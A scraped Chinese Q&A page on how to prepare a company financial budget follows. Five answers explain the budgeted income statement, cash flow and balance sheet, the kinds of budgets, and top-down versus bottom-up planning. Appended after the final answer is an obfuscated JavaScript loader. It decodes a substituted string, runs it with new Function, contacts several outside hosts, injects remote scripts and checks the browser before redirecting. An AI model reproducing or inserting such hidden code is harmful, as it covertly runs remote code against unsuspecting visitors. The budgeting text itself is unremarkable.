怎样才能做好财务预算

2024-12-20 00:21:13
推荐回答(5个)
回答1:

1.对于工业/制造业企业的财务预算管理
,怎么样编制预算报告才能做到清晰,全面易懂应该如何规范预算管理制度预算要简明清晰:总体来说包括标题、称谓、正文、签署四个部分。首先先对上年财务指标做简要说明,然后就下年预算进行预测规划,有这么几个部分:(1)收入预算;(所有的现金收入,包括银行利息收入)(2)支出预算:包括进货成本,管理费用,销售费用,财务费用,投资支出(包含固定资产投入,在建工程支出,股票债券投资)。至于规范预算管理,你先根据你企业要实现的既定目标,比如说实现多少利润,或者完成多少收入,对各个环节进行目标管理,采取一系列的措施进行项目跟踪,及时反馈,作到合理有效的控制!如何编制财务预算根据企业的经营目标,科学合理地规划、预计及测算未来经营成果、现金流量增减变动和财务状况,并以财务会计报告的形式将有关数据系统地加以反映的工作流程,称为财务预算编制。财务预算一般由预算损益表、预算现金流量表和预算资产负债表组成。财务预算的期间一般为一年,并与企业的会计年度保持一致,以便于实际的经营过程中,对财务预算执行情况进行监督、检查、分析。一、编制财务预算的准备1.确定财务预算的目标。财务预算要以企业经营目标为前提。企业经营目标包括:利润目标以及为实现这一目标的相关目标,如销售收入目标、成本控制目标、费用控制目标等。对相关的经营目标及财务预算指标,要进行综合分析及平衡。2.资料的搜集。在编制财务预算以前,搜集编制财务预算有关的资料。要充分搜集企业内部及外部的历史资料,掌握目前的经营及财务状况以及未来发展趋势等相关资料,并对资料采用时间数列分析及比率分析的方法,研究分析企业对各项资产运作的程度及运转效率,判断有关经济指标及数据的增减变动趋势及相互间的依存关系,测算出可能实现的预算值。3.汇总企业业务方面的预算。企业各部门编制的各项业务预算,如销售预算,生产预算,成本费用预算,材料、低值易耗品采购预算,直接人工预算等,是编制财务预算的重要依据。在编制财务预算前,应将汇总的各项业务预算的数据及经济指标,加以整理、分析,经相互勾稽确认后,作为财务预算各表的有关预算数。4.财务预算的编制程序。编制财务预算,首先以销售预算的销售收入为起点,以现金流量的平衡为条件,最终通过预算损益表及资产负债表综合反映企业的经营成果及财务状况。财务预算的一系列报表及数据,环环紧扣、相互关联、互相补充,形成了一个完整的体系。二、财务预算表的编制(一)预算损益表预算损益表综合反映企业在预算期间的收入、成本费用及经营成果的情况。由于整个财务预算是以销售收入为起点,因此,预算损益表中只有确定了销售收入,才能进一步对与销售收入配比的成本费用进行规划和测算。销售收入超过经营成本的部分称为毛利,销售毛利额高低,是企业盈利的关键,企业经营费用、管理费用、财务费用的支出,利润的实现,都依赖于毛利。预算损益表的结构、数据来源及平衡关系如下:项目数据来源A销售收入销售预算及预测B经营成本成本预算及预测C毛利等于A-BD销售费用销售费用预算及预测E管理费用管理费用预算及预测F财务费用预算现金流量表中发生筹资费用及偿付利息所支付的现金G投资收益被投资企业的财务预算或者通过对被投资企业历年经济效益及投资回报的资料分析H利润等于C-D-E-F+GI所得税等于H×税率J净利润等于H-I(二)预算现金流量表现金流量预算是以经营活动、投资活动、筹资活动产生的现金流入及流出量,反映企业预算期间现金流量的方向、规模和结构。以现金流入、流出的净值反映企业的支付能力和偿债能力。通过编制现金流量预算,合理地安排、处理现金收支及资金调度的业务,保证企业现金正常流转及相对平衡。编制现金流量预算,以企业期初现金的结存额为基点,充分考虑预算期间的现金收入,预计期末的理想现金结存额,确定预算期间的现金支出。相互的关系可用公式表示为:期初现金结存额+预算期间的现金收入-预算期末理想的现金结存余额=预算期间的现金支出1.期初现金结存数据,来源于预算资产负债表货币资金的期初数。2.现金收入由以下三个方面组成:经营活动、投资活动、筹资活动产生的现金收入。(1)经营活动产生的现金收入,主要来源于销售商品或提供劳务的现金收入,租金收入,其他与经营活动有关的收入。它等于销售收入及其他经营收入,加、减应收、预收帐款的期末与期初的差额。(2)投资活动产生的现金收入,主要来源于对外资收到的回报,收回投资,处置固定资产、无形资产和其他长期资产收到的现金。对外投资收到的现金,等于预算损益表的投资收益,加、减:有关应收、预收帐项的期末与期初的差额。收回投资收到的现金,根据董事会收回投资的决议,预计长期投资、短期投资的减少数,加、减:有关应收、预收帐项的期末与期初的差额。处置固定资产或无形资产收到的现金,等于处置固定资产或无形资产的净收益,加、减有关应收、预收帐项的期末与期初的差额。(3)筹资活动产生的现金收入,等于吸收权益性投资收到的现金、发行债券收到的现金、借款收到的现金。吸收权益性投资收入的现金,等于增资配股金额,加、减有关应收、预收帐项的期末与期初的差额。借款收到的现金,等于预算期间的现金支出与现金收入(不含借款收到的现金净加数)及期末与期初货币资金的差额。3.现金支出包括经营活动、投资活动和筹资活动的现金支出。(1)经营活动的现金支出,包括购买商品或接受劳务支付的现金,支付职工工资以及为职工支付的金,经营租赁所支付的现金,支付税金及其他与经营活动有关的现金。在确定购买商品支付的现金时,以材料、低值易耗品采购预算为基础,要分清现购和赊购,分析赊购的付款时间及金额。购买商品及接受劳务支付的现金,等于采购商品物资及接受劳务金额,加、减应付、预付帐款的期末与期初的差额。支付职工工资以及为职工支付的现金,可在分析往年实际支付直接生产人员、销售人员、管理人员、其他间接人员工资、奖金及其他各种补助,往年实际为职工支付的住房公积金、医疗保险、养老保险、应付福利费等支出金额的基础上,调整有关的数据,计算出本期支付职工工资以及为职工支付的现金。它等于预算期间应付职工工资及为职工支付的住房公积金、医疗保险、养老保险等现金支出,加、减应付工资、应付福利费及其他应付款期末与期初的差额。经营租赁所支付的现金,等于合同或协议确定的应付租金的金额,加、减应付款(租金)的期末与期初的差额。支付税金的现金,等于预算期间应付增值税、营业税、所得税和其他税金及附加,加、减应付税金及应付税金附加的期末与期初的差额。(2)投资活动的现金支出,包括购建固定资产、无形资产和其他长期资产支付的现金,企业权益性投资及债权性投资支付的现金,其他与投资活动有关的现金等支出。它等于投资预算确定的固定资产、无形资产和其他长期资产投资额,加、减涉及投资活动的应付及预付帐项变动数。(3)筹资活动的现金支出,包括分配股利或利润所支付的现金、支付利息所支付的现金、支付其他与筹资活动有关的现金。支付利息及支付其他与筹资活动有关的现金支出,等于贷款的期初与期末的平均数或筹资活动产生的现金收入乘以利率(或单位筹资成本)。分配股利或利润所支付的现金,等于董事会或股东大会决议确定的应分配利润金额,加、减应付股利(利润)期末与期初的差额。我们将企业现金流入、流出的项目和金额,参照现金流量表的格式填列,即编制成预算现金流量表。(三)预算资产负债表预算资产负债表反映企业在预算期末的资产、负债和所有者权益的全貌及财务状况。编制预算资产负债表以资产负债表期初数为基点,充分考虑预算损益表、预算现金流量表的相关数据对资产、负债、所有者权益期初数的影响,采用平衡法加以增减后计得。其公式可表示如下:资产及负债的期末数=期初余额+预算期增加数-预算期减少数所有者权益期末数=期初余额+预算期增资数(包括预算期实现的净利润)-预算期分红数我们按资产负债表的分类和顺序,把资产、负债和所有者权益的期末数据,予以适当排列后,即编制成预算资产负债表。财务预算编制是建立在一系列预算的假设及管理者的经验判断的基础上,虽然在编制财务预算的过程中,对企业内部或外部的不确定因素作了尽可能周详的考虑,但是,很难做出全面正确的估计,财务预算仍然存在一定的局限性。

回答2:

(一)全新企业的规划
一个即将成立或者刚刚成立的新企业,需要做一个整体的中长期(5-10年)预算。一般包括完整的利润表预算(销售、生产、成本、费用等)、公司今后几年的现金流预算和所需资金的投资计划、开业初期和中长期人员计划、开业初期和中长期的资本性投入(Capital Expenditure,也就是固定资产和长期待摊费用等)的预算。还很有可能因为税务和外汇管理的需要,做相应的税务筹划、不同法律主体设立的进度安排和股权比例的分配,以及融资贷款计划等。
要做好一份完整的计划,并不是一件容易的事。我曾经有机会做过一个全套的,前后花了近半年的时间,才把公司的整体架构、分支机构的设立、人员的安排、资金的安排等因素全面地反映出来。对于财务人员来说,真的是一种很大的挑战。
(二)企业中长期的预算
内容跟上面的第一种基本类似。只是服务的对象和目的不同。新企业的规划,一般是给潜在的投资人或者股东,或者金融机构看的,以融资为最主要的目的。因而,预期的投资回报是计划的重点。对于管理层也是行动纲领和今后工作的标杆。
而成熟企业的中长期计划,基本上是指导性的行动计划,是企业战略的体现,同时也是考核管理层工作成果的指标。当然,它也可以作为企业融资的方案,但从金融机构的角度来看,企业前面几年的盈利情况和经营状况才是真正的考核的重点。借助中长期计划,只是知道企业会把钱和主要的资源用于什么方向。
(三)企业日常的定期预算
这个大家应该都很清楚了,每年每季度都要做的,有的企业是每个月都要做。通常企业有自己的预算模版,财务人员只要填上去就可以了。而且现在企业使用的多半是属于增量预算方法Incremental Budgeting。就是指以当期的销售成本费用水平为基础,结合预算期业务量水平及有关影响成本因素的未来变动情况,通过调整有关原有费用项目而编制预算的一种方法。对于比较成熟的企业,这也是最基本最安全的方法。
(四)项目预算
企业在进行一定的项目决策之前进行的一种预算、评估。“项目”可以是设立一家分厂、投资一个新公司、收购兼并其他企业等大项目,也可以是一个市场推广计划、办公室装修、设备购买置换等相对比较小的事件。大项目的预算,由于涉及大笔投资,因而跟企业的预算一样,也是需要作利润表预算和现金流预算,还包括根据项目的需要做出投资回报的评价,比如净现值、内部收益率等指标。小项目的预算,根据项目的性质和考核的需要,重点放在其对公司整体利润表的影响(financial impacts on P&L),或者是不同选择之间的比较。
(五)特殊目的的预算
这一类是指那些不需要完整利润表的预算,比如成本预算、存货周转计划、采购计划、费用控制预算等。有时它是整体计划的一个部分,而有时是一个独立的预算,用于财务评估,为一定的管理决策服务。
所以,说到计划预算的意义,它就是为管理层的决策服务。企业可以将预算作为管理决策目标的一种分解。比如说,公司定下了“今年要比去年多盈利20%”的目标。那么就要将这个目标拆分到各个职能部门可以达到的具体指标。比如:生产部门要提高产量、降低能耗、降低成本;销售部要增加销售、市场部要配合广告促销、配送物流部门要提高效率;财务部门要监控成本和费用、人事部门多招人手的同时还要提高各部门人员协作,减少内耗等等。
我们将企业的管理目标作在计划预算里面,各部门才知道自己应该达到的指标。各部门做到了指标,企业才能完成整个计划。如果有些指标没有办法达到,管理层就要考虑怎样来弥补或者是调整策略,同时调整计划。这样,各部门跟着计划走,计划跟着战略走,而战略又根据实际的情况适时地调整,从而使企业的管理形成一个良性循环。因而,从长远来看,计划预算最终还是为企业健康稳固的发展。

回答3:

公司财务预算是公司管理的核心环节,通常说一个好的财务预算就是公司完成财务指标的一半,但财务预算的制定是一个非常专业的事情,本文列出一些基本方法供参考
一些企业从下而上去做预算,老板让各个部门的经理和员工自己定明年的计划。这样做的思路是:如果员工自己把下一年的任务算出来,这个目标应该是可以实现的。老板就不必自己拍脑袋了。
有的企业是从上而下做预算,老板根据自己对市场和客户的了解,更多的是根据自己的主观愿望提出很高的目标,要员工做的事情不是讨论这个目标是否能做到,而是如何做到这个目标。通常员工虽然不认可老板定的目标,但出于对老板的敬畏,即使自己做不到也被动接受这个目标。
财务预算是指企业在计划期内反映有关现金收支、经营成果和财务状况的预算。财务预算实际上就是对企业整体的预算,即总预算(master budget),各种业务预算和专业预算就称为分预算(partical budget)。财务预算主要包括现金预算、预计损益表、预计资产负债表三种。

回答4:

一些企业从下而上去做预算,老板让各个部门的经理和员工自己定明年的计划。这样做的思路是:如果员工自己把下一年的任务算出来,这个目标应该是可以实现的。老板就不必自己拍脑袋了。
有的企业是从上而下做预算,老板根据自己对市场和客户的了解,更多的是根据自己的主观愿望提出很高的目标,要员工做的事情不是讨论这个目标是否能做到,而是如何做到这个目标。通常员工虽然不认可老板定的目标,但出于对老板的敬畏,即使自己做不到也被动接受这个目标。

回答5:

  1. 首先明白财务预算的意义,财务预算最终的目的是为了实现利润,所有的预算都必须围绕利润目标来制定

  2. 做好财务预算不是一味的要求缩减费用,结合本行业实际情况,必要的支出如销售费用等可以实行提成制编制预算,不用一刀切

  3. 根据本公司在所处行业的位置,如果是龙头企业,缩减成本,如果是小企业,扩大销售任务

  4. 管理费用等可以实行预算制,由各部门进行提报预算,根据其实际情况进行缩减其费用

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();